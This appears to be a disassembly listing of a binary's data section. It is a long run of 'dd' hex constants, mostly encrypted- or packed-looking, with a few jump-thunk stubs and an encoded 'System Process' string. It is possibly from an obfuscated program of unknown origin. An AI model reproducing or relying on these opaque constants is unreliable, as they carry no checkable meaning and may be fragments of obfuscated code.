3D0D72C5h dd 0D9A98E13h, 0A3D9B94Ah, 227DDFF0h, 0A87495F0h, 32523667h dd 3B857EE9h, 0E1E7FE9h, 8C1F71CEh, 3E95EB99h, 98CA76EFh dd 62BB1D6Bh, 0B7E6B7DEh, 0EC6DCA7Ah, 2A1AB9EBh, 1C26AC0Bh dd 29669A9h, 4A8C0000h, 0E92EBED5h, 90C503B0h, 3766E61Dh dd 0DD3F4DFAh, 0DCA1542h, 7AA90252h, 0DE75A6EAh, 0A7DC4D8Eh dd 0DBAF959h, 0E4CAF051h, 0BC398142h, 789935B8h, 67815C42h dd 344A2433h, 94D449E6h, 5A2272ACh, 281C8DC2h, 33678142h dd 0C572AC5Eh, 9FF45787h, 3B55170Eh, 0D98A2F8Ch, 820BF109h dd 5E643367h, 33678178h, 520C5E08h, 0F154C90Ch, 180401B3h dd 42FE67B8h, 6686A7C6h, 1586D637h, 5FC67030h, 0EC51CC01h dd 0FE0602BCh, 35738F39h, 50364C49h, 50397B8Fh, 991174A6h dd 397B8FB7h, 43889485h, 74CA6EEAh, 5421426Fh, 0F1FA8Dh dd 997F0000h, 7DC55487h, 0BC1073A3h, 304C3163h, 0FD2C63E0h dd 0B7AED888h, 67863A3Fh, 1996C433h, 59BB65EAh, 252D5FC6h dd 0E9289BFBh, 3A40D1B4h, 33678554h, 0D600B22Ch, 4342FD6Fh dd 0DD0800E0h, 0C8B5E7F8h, 8E2575ABh, 556DD597h, 3573DF44h dd 0F72914C6h, 390E0AA5h, 36171447h, 0ECD2E809h, 0B4397B9Eh dd 9A467EDAh, 7E3B8542h, 1E4B408Eh, 6E3B4243h, 56A2CA1Dh dd 0FB5AF426h, 0A5BAF325h, 69360143h, 8E35122Eh, 818A6B5Eh dd 0CE18F657h, 0A4D0944Dh, 0B2EF22B8h, 46B999CBh, 3E45D606h dd 26AC0224h, 3D0FCF46h, 25000001h, 0C705B2F1h, 9AEA1990h dd 3F4DFA37h, 0D41443DEh, 71FC2B84h, 76A9EBB4h, 0D24D83C1h dd 0A5F427A5h, 3A0FE0Eh, 235B3AD4h, 3981443Dh, 666CD145h dd 3E4EE536h, 0A5C243E0h, 6781B79Dh, 3919CB33h, 71A779C6h dd 669F5A3Eh, 2986D738h, 0BD043B80h, 87DAF4Ah, 0E2F2E58h dd 67E412F8h, 94FC6E33h, 6EC3136Dh, 5AB8F178h, 0ED7FA9C5h dd 0C2BED507h, 0B6889091h, 0CE75EA7Ah, 7390B19Ch, 6839654Bh dd 0C7433D33h, 7EEF2DBFh, 3A23DD35h, 0B51043DDh, 1652CB62h dd 54829CE4h, 0D20CA3F3h, 0B8F727A5h, 0F3754C5h, 39809029h dd 7B8B8F79h, 33F6A508h, 0D9E10E6Fh, 4C0A9CF3h, 0D175DD8Fh dd 0BD0E4C7Dh, 2E5AC35Ah, 8C647FCh, 6A7CF156h, 58C64289h dd 0D64789FAh, 270712F7h, 0A499CBA7h, 42D34AE4h, 0CC0A7BDAh dd 402557h, 7AB7E600h, 5CF29003h, 95064AD2h, 9690F0B0h dd 4D6AEB48h, 0B6E4F35h, 4C72534Ch, 4C0B6E66h, 3F1E483Ah dd 0B6E2107h, 93F7614Ch, 62EE2CBCh, 0B6E765Ch, 455A0A4Ch dd 67FFA1C8h, 52CB6597h, 0F84h, 17860900h, 1A7BC609h, 0B0E29E87h dd 3EBB9FCDh, 86FF3466h, 120BA8F6h, 9D80197Ah, 2B128DC3h dd 0B5A80355h, 3F2679DBh, 0C8BDF021h, 59CC61B4h, 0E459D007h dd 2B5D68B3h, 24890000h, 4BB5324h, 1000000h, 5B04245Ch dd 5E08950h, 4, 8704E883h, 895C2404h, 5268240Ch, 89000013h dd 0EC83242Ch, 24148904h, 19B7C2BAh, 5AD18906h, 242C8B54h dd 4C481h, 89530000h, 0DA8952CBh, 5A085589h, 2434FF5Bh dd 4C4815Dh, 0FF000000h, 83592434h, 82E904C4h, 7FFFFB7Eh dd 0A5B8F905h, 30619C4h, 0EFE0FFC5h, 0F235A312h, 0A41AF54h dd 7877DBC5h, 7A3FC26Fh, 5B14F7DBh, 2B5B153Ch, 0A77AFC41h dd 673DAA7Dh, 0E86161A9h, 0Eh, 0FA1377B5h, 0CBCFCF13h dd 0D9AE1265h, 0B70F8D54h, 0F28158F3h, 0BEF32E8h, 7060C081h dd 2BF50000h, 66B966DBh, 183C8BA5h, 61CAB660h, 0D2B0C781h dd 81F95BDEh, 7D4A03C7h, 59F9510Fh, 0B9DBC781h, 0F18A2B52h dd 13E957h, 99120000h, 6A092F0Fh, 0E4B64848h, 0A5AF8478h dd 92857797h, 18048FFDh, 0F60CA8Bh, 281h, 80F38B00h, 8361A7C4h dd 8E902EBh, 2E000000h, 2FCFF399h, 4B08C349h, 12E94Bh dd 253E0000h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h, 467C0C16h dd 906CFB81h, 850FFFFFh, 12h, 27E9h, 43C46300h, 67F9F7E4h dd 6E19C58Dh, 8E9AEFFh, 0F3000000h, 5E4074A9h, 0E9E4351Eh dd 0FFFFFF5Dh, 15B4C4F6h, 11291986h, 15EE9h, 9A8C8200h dd 0FF6FFC62h, 34B9286h, 0DE5FB04Eh, 0D551BB09h, 0D651B850h dd 0DD5FB309h, 0F6768F50h, 0A4238639h, 5F770850h, 5BC36CD2h dd 0E3B19C9Eh, 9212E750h, 12850h, 0 dd 400h, 2 dup(0) dd 3300h, 0 dd 800h, 0 dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 3Ch dup(0) dd 0E9000000h, 178Ch, 19C95468h, 7C0BE906h, 6468FFFBh dd 0E90619CAh, 0FFFB7C01h, 19CB5868h, 7BF7E906h, 3D68FFFBh dd 0E90619CCh, 0FFFB7BEDh, 19CD9C68h, 7BE3E906h, 0E68FFFBh dd 0E90619CFh, 0FFFB7BD9h, 19CFC468h, 7BCFE906h, 8968FFFBh dd 0E90619D0h, 0FFFB7BC5h, 19D2D268h, 7BBBE906h, 0DD68FFFBh dd 0E90619D3h, 0FFFB7BB1h, 19D49C68h, 7BA7E906h, 5868FFFBh dd 0E90619D5h, 0FFFB7B9Dh, 19D6EC68h, 7B93E906h, 0A968FFFBh dd 0E90619DCh, 0FFFB7B89h, 19DD8F68h, 7B7FE906h, 2668FFFBh dd 0C50A5A89h, 6CA13F54h, 13428231h, 0B91B699Eh, 61AE3166h dd 164DDE3Eh, 0FA2982D6h, 43F0296Ah, 295ED505h, 8EE1475h dd 9839814Ah, 38662994h, 0BB6F79F9h, 61ECFE4Ah, 67C47359h dd 235D0F33h, 0BDF4223Ah, 0A3EDE94Fh, 0CC49FB22h, 0BAA3FC50h dd 0DBB58A8Eh, 0F55087A8h, 6A160F9Eh, 0D5074538h, 0CC415268h dd 17C13573h, 0BA8F636h, 0D3F25612h, 7BAB795Bh, 74D30539h dd 0E95C8E1Fh, 72EB4697h, 0DE132B0Fh, 0F3F84EC2h, 8D5458BEh dd 0AB0255CBh, 413BAFh, 8ABE0000h, 437BDAD9h, 35738F7Eh dd 62F36A04h, 3A75DB45h, 7B8F5C42h, 0B6E72839h, 0B6CE4A24h dd 397B8FD4h, 412479D8h, 0CEB7EA2Fh, 0DE132B8Fh, 355CBC2h dd 3204A8A8h, 54208429h, 0B8348Dh, 99B90000h, 0BA88DAA9h dd 29296A8Bh, 1D009FFFh, 0A79E1143h, 332A89C9h, 478AFD5Dh dd 210495C6h, 1C4C3163h, 0B6D1B5E2h, 7433682Bh, 0A5A8926h dd 72EE57CCh, 2243C2C1h, 6822361Ch, 9B81B933h, 0E7336822h dd 909FB75h, 3AF1DAE0h, 0E7913574h, 0A0A3DCB0h, 0DFE99DA5h dd 0E39D3B85h, 0C15ABA62h, 0A9025292h, 0AC81906Ah, 0B363D226h dd 14FDh, 1443E032h, 0F92E7FD4h, 5C8B266Bh, 2350CD0Ch dd 8B3873A5h, 98F8A760h, 3C90D007h, 0E334B4E3h, 8FCF1D4Ah dd 4ACBE310h, 814A4E34h, 57DA5239h, 87C93666h, 3F4DFA14h dd 3D0B42DFh, 4096285Bh, 36A8E23Ah, 72ACDEE4h, 0D98AD4C5h dd 0C25A7BDAh, 65271E93h, 65B4E7h, 0FBC0C040h, 7435738Fh dd 4C3469A8h, 0C1392CDEh, 397B8FDFh, 0CE1529EDh, 8D5420A1h dd 0E11Bh, 38669E00h, 4E829AFBh, 583868DDh, 0AA055729h dd 86203BB3h, 0B0EE3367h, 8B7BC473h, 660A0F4Eh, 38E662B5h dd 582269DAh, 67E03C22h, 78AA4433h, 30154705h, 0B98487B0h dd 9CF93067h, 67E08066h, 0F2560033h, 0F8CAB3CBh, 1EC83573h dd 7FAEE13Fh, 1F48241Bh, 0ACEF311Ch, 352EFB7Fh, 295B75F3h dd 0ED0C7434h, 859334D5h, 3904F63Bh, 0C97F8BC9h, 0F50DF078h dd 3369DC0Fh, 0D3B7E193h, 5A2272AAh, 69DB3E24h, 66904233h dd 0CE61B331h, 0AC458589h, 0CE0C7926h, 13EDh, 2453D002h dd 893E6FA4h, 6C9B167Bh, 3360BD1Ch, 9BC863B5h, 88C89750h dd 2C60E017h, 0D30444F3h, 7FDF2D5Ah, 7ADBF320h, 814B5E44h dd 47CA2239h, 4EE53666h, 296FE03Eh, 0A3DD8FF6h, 2CC454A2h dd 0BB581536h, 0DABEF525h, 3866B465h, 52829AFBh, 344879D9h dd 0CA1A49E6h, 5D332A87h, 5471A6FDh, 5A608140h, 33678174h dd 0C4F6520Ch, 8CADA8ABh, 67E33C90h, 7389C65Fh, 2969B735h dd 0E29C8E8Ah, 0EF5ABD63h, 40C072ADh, 0B8FDDE56h, 0AE7ECB01h dd 0CF4C316Ah, 5BAD1B7h, 0F527D125h, 0CFCC7F8Dh, 9FFF214Eh dd 63000000h, 2F2711BEh, 0D54BC8BDh, 0A362F7Eh, 4043FC0Eh dd 0BD6575C5h, 25518C57h, 0F1CD371Dh, 6F994B2Ah, 0ACBCC2EBh dd 502CFB46h, 8086A7A6h, 2504B59Ah, 0A4F958E6h, 0F15183C1h dd 0A90654C8h, 77ACEA7Ah, 116BC2D0h, 1D14435h, 12F9h, 1047DC3Eh dd 0F5227BD0h, 588F2277h, 3F54C908h, 873C6FA1h, 94C49B64h dd 389CEC1Bh, 0DF30B0E7h, 8BCB194Eh, 4ECFFF14h, 814C5238h dd 5BC62E39h, 0D8578799h, 0C5232765h, 0A5271E95h, 768C898Ah dd 35738585h, 0AC3C6B05h, 64B71D6Eh, 0A6D153CAh, 0D9A2D8A5h dd 0F93B924Bh, 0BE1E0E0Fh, 1C48F86Dh, 3ABC78BEh, 7796F2FEh dd 4BCA69A9h, 6EE24AFBh, 351DD9FFh, 0F35482C2h, 7EDF09A0h dd 503069AEh, 8380B331h, 58BB6582h, 382C5CC1h, 3374F152h dd 0CBB2EF22h, 0B59D4F99h, 0B7856E94h, 6B05358Bh, 4FE432EAh dd 158AC818h, 5787B030h, 7C37492Fh, 7DAF5939h, 0E87C2210h dd 2B416D2Ah, 0C0E10E2Fh, 0BFA7F85Ch, 397C6CD9h, 0D8F3FA9h dd 140FC329h, 9AC7FF5Bh, 783B881Bh, 4651498Eh, 60D526AEh dd 1214B2h, 0B8F75B00h, 796FD0Bh, 0E03D90D0h, 49E435B3h dd 118ACA1Ah, 0E1BE7FE2h, 0B9C77CAFh, 5DABD853h, 0F474A3FAh dd 24DA09A6h, 4D371D25h, 0E34B3981h, 0E536667Eh, 5D437B98h dd 25336781h, 478CF4Bh, 9D83BB6Bh, 0E5336781h, 467CD90Bh dd 3573972Dh, 720A73EDh, 336EA324h, 0C4125281h, 0C492C86Dh dd 97C14B97h, 3C5558B6h, 0E776079Dh, 0B5E66263h, 5AAFD7B6h dd 683B880Fh, 487E9FFEh, 3367F262h, 0D64FE432h, 0AAAE58AAh dd 0C49A389Bh, 0A9DE5585h, 868784B7h, 74086780h, 0C4B92B35h dd 50356AA8h, 0DE47D83Ch, 6BD24F8Eh, 6578CE24h, 0EF4214FEh dd 0A8DEBFBCh, 3B87FD8Fh, 0B2326113h, 0E056CF64h, 336802FEh dd 0C2035BBFh, 0EE3E1F94h, 5D0F76ABh, 94C202F5h, 89BA261Fh dd 46738B8Ah, 0CC3573FEh, 0DD40D93Eh, 0C107DAFh, 947A80CCh dd 0EC397BFDh, 8F40C072h, 5E09DBD6h, 29CAF05Dh, 0F93B92C4h dd 153010Fh, 5D3FB7AEh, 0CD33753Bh, 97B49192h, 0A579FBA7h dd 162C472Fh, 33754F30h, 0EC548670h, 8C1613D4h, 98E59735h dd 7FDB5484h, 3F90CE5Eh, 0ADDF46D9h, 5684C473h, 8A0EF40Ah dd 0CC92397Bh, 0B7E1138Ch, 0AB0856D6h, 0DDF0DB7Bh, 0AC94A956h dd 699FB95h, 99E6DFC1h, 24F26320h, 10B5h, 0EC1B98FAh, 0B1E6379Ch dd 1443DE33h, 0FB2885D4h, 43F02B6Dh, 5080DF18h, 0F458A8DFh dd 9BFC0CBBh, 4797D502h, 8283BBE8h, 814E967Ch, 9F02EA39h dd 10363666h, 3367812Ah, 0F0EA8A54h, 0EA64664Ch, 79B2E278h dd 2B2A4404h, 690EF40Ah, 0E0923368h, 151AF60h, 187DA3A2h dd 853766A9h, 0AAE884BDh, 0C4B9F459h, 0ACF36A84h, 81D1F046h dd 6B88F522h, 684E344Ah, 0A0523368h, 6868D6BCh, 5838AA33h dd 40F9B7F4h, 1576187h, 66F40000h, 0EA82FB38h, 6CC077ACh dd 34553033h, 966248C6h, 0DABEA2D2h, 744E99AAh, 85BDDA35h dd 397C2D9Fh, 2E04EA10h, 0E29C397Ch, 53B6E690h, 45FEFBBDh dd 0C3C25838h, 7B92D5BBh, 3C6FA139h, 1FC91B49h, 200278EDh dd 6C397B92h, 0F28AF32Ch, 79170EA3h, 1BBF9813h, 3E922E43h dd 3F8E2328h, 4BBB8D54h, 1F3B839Dh, 2BBF9B94h, 35h, 0DAD98A4Eh dd 8F7E437Bh, 6A043573h, 8F997BF3h, 76A7397Bh, 513465B6h dd 0BB933713h, 0A4578575h, 54707205h, 0F4B4A906h, 551AFE5Ah dd 0C78D54B5h, 8Bh, 0FB38666Ah, 71AAEA82h, 8D22700Ch, 1996C498h dd 86617CEAh, 0E9293367h, 70231D4Ah, 9DEC1273h, 0D235712Ah dd 21A78DB5h, 9FB397Eh, 0E4611309h, 1047D838h, 0D20380D0h dd 0BAE62D5Fh, 8C2097FFh, 0F43F919h, 26680000h, 0C50A5A89h dd 6CA13F54h, 13428231h, 0B91B699Eh, 61AE3166h, 164DDE3Eh dd 0FA2982D6h, 43F0296Ah, 295ED505h, 8EE1475h, 98398151h dd 36662994h, 0E03E4EE5h, 92DDB41h, 0CD13FE33h, 70301588h dd 660091C6h, 0EA82FB38h, 0BBF65BACh, 3F5486C2h, 118ACE5Eh dd 0A147C2Ch, 72EE57CCh, 3B43C2C1h dd 35738316h, 39C572ECh, 818h, 0E53666F4h, 81280A80h, 0EF983367h dd 0A05961ECh, 22357E47h, 68B4D5B0h, 0DD8FF627h, 346BAB75h dd 0FC82D749h, 8147E0C6h, 8436A039h, 0DD3D4BBCh, 0AE7EDF46h dd 18483D6Eh, 7DAEEE38h, 94DA00D6h, 23F36220h, 0E8Dh, 843370A2h dd 699E0F44h, 0CC7BB61Bh, 93C05DBCh, 7BA80355h, 286837F0h dd 0CC0040F7h, 73A42453h, 1F7F8D3Ah, 0DABB5380h, 8150BEA4h dd 0E76AC239h, 98E53666h, 0F7F10FAAh, 5F3B6F17h, 0E53A98E8h dd 71AEEC80h, 0D569410Ch, 4CC966B4h, 0BFFA9DFEh, 225EC75Ah dd 1AF22EF2h, 0EC81C93Eh, 0AC87408Bh, 20h, 558799C1h, 31467EDAh dd 0F133678Ch, 0FFFDEED5h, 0E28674FFh, 326FA2DDh, 60ED194Bh dd 1FDABED4h, 0C5548799h, 50CD0C60h, 257AD826h, 40h, 3367811Eh dd 73D2D182h, 7E477A4Bh, 0FF5E0835h, 5B2F121h, 251897C7h dd 896F97B4h, 19398147h, 0DB3DEB6Fh, 0DA230340h, 0CE472094h dd 0DC800h, 74ABEF00h, 0D34A81DFh, 0BCF124A4h, 598F907h dd 0ED3E9EEEh, 0B5EA2BB6h, 4D9BC863h, 0E17F9407h, 0B8C87FAEh dd 0F0AEC55Ah, 51836991h, 171F3981h, 558799AAh, 212163DAh dd 0F71A97C7h, 5FA4FF6Dh, 67F96C9Eh, 839DF837h, 4D74DC53h dd 8896A802h, 0D5AA9BAh, 0C3479D87h, 9BEF525h, 407FACC1h dd 156C87h, 80810000h, 33678C6Bh, 8BF8DEE4h, 0DE883367h dd 0FD25E0ACh, 8A2DFFFFh, 5A7BDAD9h, 0AF736BECh, 0D7B3F9DFh dd 73C492AFh, 0DA3DE335h, 0AAAEDA43h, 3E9F8670h, 0FF5F81C0h dd 6C1C0198h, 0A7F30D30h, 0FCC2A3A3h, 0A8E397Bh, 0A9822F34h dd 0BF8F8D54h, 8EF18B3Fh, 0EA4388CBh, 83873173h, 2002Fh dd 87994200h, 0C9DF251h, 59396B19h, 67815729h, 52CA4B33h dd 0BBA6A2FFh, 77DA2D6Dh, 0D5B883Ah, 851C7ACDh, 1434D728h dd 130AA4D3h, 0E8CEF451h, 0B8336822h, 31A99CCEh, 336822B7h dd 81628CAh, 22EDD3EBh, 0DBB53368h, 3271A17Fh, 0FAFFAB85h dd 76ADED83h, 0DC5383C1h, 235FF169h, 0E9AD3368h, 0D0610E55h dd 96DB8740h, 5E000001h, 82FB3866h, 0C077ACEAh, 5530336Ch dd 73921C2Dh, 513CAE35h, 91240A30h, 827C397Bh, 25077F86h dd 2B397B91h, 89D73AE2h, 7B918B71h, 0CB651739h, 8D93AB4Fh dd 9170566Ch, 4630397Bh, 3F511EC2h, 3ACB8D54h, 6E000000h dd 7BDAD98Ah, 738F7E43h, 0F36A0435h, 7B8F997Bh, 4976A739h dd 7B8F4B31h, 0DDA55739h, 91DE2539h, 0BE8D5420h, 89FC2D6Eh dd 0E1EB7FDBh, 0A2000000h, 0A98B6154h, 307C97Fh, 0FB3866B6h dd 71AAEA82h, 3C918F0Ch, 44CC7CE1h, 0CB0B7CDAh, 0C55B3A54h dd 83E1F8Eh, 33678122h, 7D848C7Eh, 0BC7EB3E3h, 351B2342h dd 4D33684Ah, 30306393h, 0AB9BC87Ah, 336807F8h, 0A4F75886h dd 0C1A4F759h, 0CB0B5183h, 1B3F154h, 0CECD7ED2h, 9BE8374Fh dd 7193571h, 6C2B5BD6h, 0E2BB2CD3h, 0B527F55Dh, 0AD93ABC8h dd 6397E65h, 7E651A00h, 7AF46639h, 8F758D88h, 13397E65h dd 24F8E161h, 6C5268F4h, 34397E65h, 6DFB285Ah, 953F02Bh dd 0FD2097BBh, 0B7F4A88h, 62B40000h, 15696CDh, 0A8ED7BA8h dd 4F8EDE75h, 0F527A5D2h, 25E20DBAh, 52811A7Ah, 366DBE12h dd 9F3465B6h, 65921141h, 0CCB2C849h, 0D4398153h, 3666DD40h dd 4F8498E5h, 47857ADEh, 4E6B9817h, 10EAA999h, 0CF288AAh dd 91DE61D0h, 848C1AF6h, 0D2E53C9Ah, 9A6F42Dh, 4D385414h dd 93DD58Eh, 0D0EC7E4Fh, 170974A6h, 0DAEB6FC2h, 3970A37Dh dd 0E23C0444h, 6C87FB4h, 448h, 5287998Bh, 0D1E966DFh, 336781EBh dd 7BABC5B7h, 1920B108h, 368F8BEFh, 0BCBFE83Ah, 1B05A9D1h dd 0EF99357Fh, 0FD95906Eh, 0F4F3966Dh, 150B628Ch, 0B5F76EC5h dd 0CDB5E437h, 8E8F8CBFh, 8D1CFF78h, 2B53703Bh, 33751E45h dd 75A7A35Dh, 4A2CA29Bh, 5233751Eh, 0D3508EFFh, 70A0BCA1h dd 1723463Fh, 3A9E223Fh, 0CB92DF24h, 9E0A874Dh, 0AF000003h dd 67819E80h, 81290833h, 0FA953367h, 0D9669CF9h, 7935739Fh dd 8114488Fh, 9F16209Ah, 0A747Fh, 0D857BB00h, 0A7F65DABh dd 9DF070h, 0E94495D3h, 0B1EA2ABAh, 411EDF02h, 19679C0Fh dd 0BDCB78B3h, 5494C35Ah, 447AA906h, 54D7BDC5h, 43AB3981h dd 0FB3866DEh, 56550682h, 556D6F7h, 97F3B194h, 7E47CA6Fh dd 79AE5835h, 84C80814h, 8147987Eh, 0CC7EE839h, 6053644h dd 79B41907h, 0DDFC4404h, 0D13260BCh, 8AF32D80h, 0B14A7ADEh dd 713B980Dh, 61998687h, 3367817Bh, 0CCED5507h, 74A3FC50h dd 67805812h, 8B8AB833h, 55C80C5Ch, 0D49EBE6Eh, 5AFBAA42h dd 0B3A0B79Bh, 1E6ED701h, 8EFA63C0h, 29FF2DDh, 804D75D0h dd 2357404h, 7749FF52h, 1F491085h, 9A1B7AF8h, 9939AC20h dd 9B5h, 0EC1B98FAh, 0B1E6379Ch, 1443DE33h, 0FB2885D4h dd 43F02B6Dh, 5080DF18h, 0F458A8DFh, 9BFC0CBBh, 4797D502h dd 8283BBE8h, 8155967Ch, 9F02EA39h, 5DD8D98Ah, 346BABE9h dd 0D2931298h, 1B7BA5A0h, 99CB64A8h, 1687C8A4h, 457D9CE4h dd 357F05ACh, 8F91FC6Eh, 23A1D649h, 4DD3B2EDh, 8EB7930Ah dd 0E3626112h, 0B79DA5C2h, 0CB3980F9h, 64093919h, 3E3B97BFh dd 3F81679Fh, 57013368h, 33B5825h, 33683F1Dh, 3F8A7096h dd 64163368h, 0E91878EAh, 4ACBC87Bh, 3F2F152Dh, 187F3368h dd 0B8857781h, 683F9C82h, 0E0AE433h, 4ACAD7EFh, 9E483574h dd 99EB1179h, 12C03520h, 8F9h, 1047DC3Eh, 0F5227BD0h, 588F2277h dd 3F54C908h, 873C6FA1h, 94C49B64h, 389CEC1Bh, 0DF30B0E7h dd 8BCB194Eh, 4ECFFF14h, 81565238h, 5BC62E39h, 8871A999h dd 0F27F0613h, 0B7E74FD1h, 60E0CE5Eh, 62DB5886h, 0EE57CC0Ah dd 0D2F34BAFh, 52F82F84h, 87412E1Dh, 1A89Fh, 87991200h dd 2765D857h, 813A2026h, 94463367h, 0EEED9EACh, 9D86576Fh dd 6A043573h, 9D997BF3h, 0F3A7397Bh, 4B5B105Bh, 7ADD8D54h dd 50000001h, 0DA558799h, 7ADB2163h, 95C52327h, 58B6271Eh dd 633B73B7h, 0F246C524h, 0E66F7894h, 757D1B1h, 0ACDE4F84h dd 831E7FA1h, 1F053D9Ah, 6333683Ah, 0CC347F1h, 0E5666710h dd 7226C94Ch, 0B399A1ACh, 0CF33687Dh, 5C62E31Dh, 35748E4Bh dd 0F1D7EF0Ch, 0B1397C6Dh, 3FA943C7h, 6DEED046h, 5DBE397Ch dd 6E01E71Fh, 0D781397Ch, 69ACC0A5h, 0DF3F5134h, 1CAFDD40h dd 7D4DA0B6h, 65BB85D9h, 0C785F833h, 1AD29F43h, 0DEFF8D55h dd 7C65C2A8h, 242CDE39h, 25B0h, 47978900h, 8AED68E8h, 437BDAD9h dd 35738F7Eh, 7BF36A04h, 397B8F99h, 105BF3A7h, 8D54215Bh dd 9EDDh, 38665000h, 0F41582FBh, 6781E8CEh, 4ACEB833h dd 3A237CDCh, 0C6BFF422h, 0E21868B6h, 336781FCh, 0BB8EA84h dd 679D501Bh, 3E9F8133h, 59B967E3h, 80B3ADDAh, 2D7C8283h dd 51357142h, 1646A6A7h, 0BE1E6E85h, 6D9F0E41h, 97E7D426h dd 0FF1F9620h, 765h, 0BCEB488Ah, 1B6E72Ch, 0E4138EC3h dd 4BF83564h, 1340DB3Dh, 500FC8h, 0A4E878AFh, 4B8CDC0Bh dd 0F727A5D2h, 0F2530BB8h, 8157E6CCh, 0CFB2BA39h, 98E53666h dd 7EDA5384h, 841B7B89h, 0B9C1EE6Fh, 336781D3h, 6FAF3DAFh dd 66855030h, 2B80D738h, 13F08218h, 41F32D7Dh, 0DD5280DCh dd 452B5370h, 5D336823h, 0AE50A7A3h, 3Ch, 2100C163h, 8114FA00h dd 0F26C3367h, 0C8CB6496h, 9DF02C4Dh, 0EB6F1D00h dd 7E4838DBh, 3218CA35h, 0D6814D83h, 0E63792F9h, 6496D24Bh dd 8D334BCAh, 153B980Dh, 36F9157Bh, 34000000h, 7BDAD98Ah dd 739D1643h, 302FC35h, 0E266BD1Dh, 8C5C6BE3h, 0E3A7D2ACh dd 0A6A5D64Bh, 9B1279A7h, 3B689EBFh, 0C72F5F8Fh, 0E045D839h dd 3DC176A0h, 0A4h, 0DAD98AF0h, 47A2437Bh, 0F660357Eh dd 50D17F66h, 0D29FE47Ah, 4A8D59D8h, 7Ch, 1FF5F343h, 0B6BB50C3h dd 6F9FC962h, 0AC92467Eh, 7DF858F4h, 7BDAD98Ah, 7E479F43h dd 65F16335h, 7951D27Ch, 0D8D19EE5h, 0FE8D59h, 0E625532Dh dd 8B5BB6E6h, 842B5E1h, 3DD48888h, 59000000h, 55CFA999h dd 81A239B5h, 0DBD88B81h, 1AA1447Ah, 8B65357Fh, 0EACC027Bh dd 7C1075A6h, 0E29E8718h, 7FE6379Ch, 0FE71ACE1h, 90C30254h dd 0CA20EF19h, 44426F74h, 0DFA8D59h, 7F000000h, 679B4B80h dd 29771733h, 0BAFFFFFFh, 7BDAD98Ah, 7E474E43h, 0E35A3435h dd 48353661h, 980D8C32h, 556143Bh, 0ACB87894h, 8E55AAFAh dd 0B468E95Ch, 7F9CC865h, 29557BB6h, 0A8DBF151h, 0ACDE5187h dd 0A0B099A1h, 20D2357Eh, 594FB25h, 0C2C172EEh, 0E6A23B43h dd 8D933B97h, 0B973D746h, 7DDE4ECFh, 0BA8FF72Ch, 3BAB4183h dd 0E4EF64CBh, 77D307C9h, 9DCA69A9h, 58BC0F4Fh, 1174ABEBh dd 96F72153h, 0C960B769h, 4A301454h, 56CB8D88h, 27A5DCA4h dd 0F0167774h, 0CD99A79Bh, 54C8B527h, 99A8A805h, 87C6983Ah dd 8D7DD857h, 0FEEA79F2h, 0C93E1AA6h, 5CC158BBh, 0EB52CB00h dd 72EB4295h, 0FC61BA1Ah, 9CD1652Dh, 0D967FF5Bh, 354D1147h dd 0D19A6D4Fh, 1377A153h, 3C6BC215h, 4B326BACh, 13783E92h dd 98CA67B6h, 1689CBA5h, 0B48A602Fh, 5E86DABBh, 0E31DA6DFh dd 11F3C99h, 3E95DD0h, 9FD199A1h, 6DC165EDh, 0FA0FB5Ch dd 5676835Eh, 66BB1A60h, 0E4134DFFh, 0DCDF8A37h, 68C71769h dd 4DDC33EDh, 99A8A8D8h, 0FB41B1DEh, 0E0A569ADh, 6822083Eh dd 8C7E3368h, 0FC52F652h, 7ED1532h, 9B336869h, 265369E9h dd 68EAD0F6h, 0E8B63368h, 56120BA4h, 0F5D8A24h, 474A52CFh dd 0B98EFFBCh, 4986FF0Fh, 0BFCE6032h, 2445C05Fh, 6821381Eh dd 0BA9E4833h, 1089CE9Ch, 21CFB52Dh, 7DDF3368h, 0F2253B22h dd 216C5268h, 5A343368h, 806A3528h, 32D0B3AEh, 77A6ED1Ch dd 6FA17FC0h, 326FAE3Ch, 0EF39194Bh, 92087DACh, 336821B1h dd 0A7DFFC59h, 336821C1h, 7EE717C1h, 9BD0A2A7h, 658FC44h dd 0EE0594C7h, 685BDF78h, 27478333h, 918740C9h, 0FFFFFF45h dd 54879904h, 820AF016h, 0E4963367h, 0B191D34Ah, 5B882777h dd 656CD0Dh, 49851A78h, 55C867B7h, 0E25BD63Bh, 62A3BB9Fh dd 0D98BF22Fh, 57EF43AFh, 0C54BE836h, 401300ADh, 0BC130D87h dd 3248F86Dh, 15C949E2h, 58h, 0B2A99998h, 3C955270h, 3A5567E3h dd 80265C39h, 357E4Ch, 1480E654h, 0F123E359h, 0FF072465h dd 3980CC19h, 0C54FFF69h, 4DDA1B08h, 84CDB49Ch, 67BA8CA0h dd 30563734h, 3B98378Ah, 0D8BEC4E5h, 0A83367B7h, 16C05A3Eh dd 0A265D538h, 0A65B8A8Fh, 47B11979h, 7C000000h, 7BDAD98Ah dd 7E479D43h, 71A76535h, 306DA03Eh, 91ED1F4Dh, 74A9EC30h dd 8EF75311h, 1EEC613Eh, 401616Dh, 0D276D27Bh, 7A44B27Ch dd 6FA9E0A5h, 0D49BD0F9h, 285AA332h, 62611228h, 2435DBE3h dd 13CD3B98h, 38667C3Dh, 0ACEA82FBh, 336CC077h, 81F5DBE3h dd 0D18D3367h, 6A509024h, 3E689A7Ah, 22083E5Fh, 7E33680Ch dd 5D65848Ch, 35741D4Ch, 0B8190CFEh, 9FFB3464h, 7C1C8567h dd 55C80939h, 0E7389CF0h, 7EE73699h, 0A3B13F7h, 0E0386AC7h dd 26141A2Ch, 88CF005Fh, 9A7EDA69h, 8D5455D5h, 5247h, 76A64600h dd 8A905D25h, 5A7BDAD9h, 0C31992C2h, 0D351D8Ch, 35738F48h dd 3DB5A85Ah, 397B8F5Bh, 9CBEF323h, 0D15E1248h, 0EB85F82Ah dd 321174ABh, 1FA3BE90h, 1358A3BBh, 308D550Ch, 7705EB13h dd 586E397Ch, 397C7672h, 50025C0Eh, 1257CF0h, 66F10000h dd 0EA82FB38h, 261471AAh, 0C01C6C92h, 0EB449452h, 0D4A8D9B9h dd 0F2C2986h, 687B11F7h, 0E03B9D33h, 0C3BDCF7Dh, 61D13E47h dd 0CEC23ED2h, 0E03E1A79h, 1A7EAEB2h, 78EC9C81h, 33679292h dd 95C27CEEh, 8D738BA8h, 15336792h, 0CCE71F7Bh, 42336797h dd 18689F14h, 800065BAh, 4869D4D7h, 962D132Bh, 9B753367h dd 0BB7687BFh, 0C6E73573h, 7BB2DAC0h, 0B634A639h, 1454C962h dd 0D70CFE2Ch, 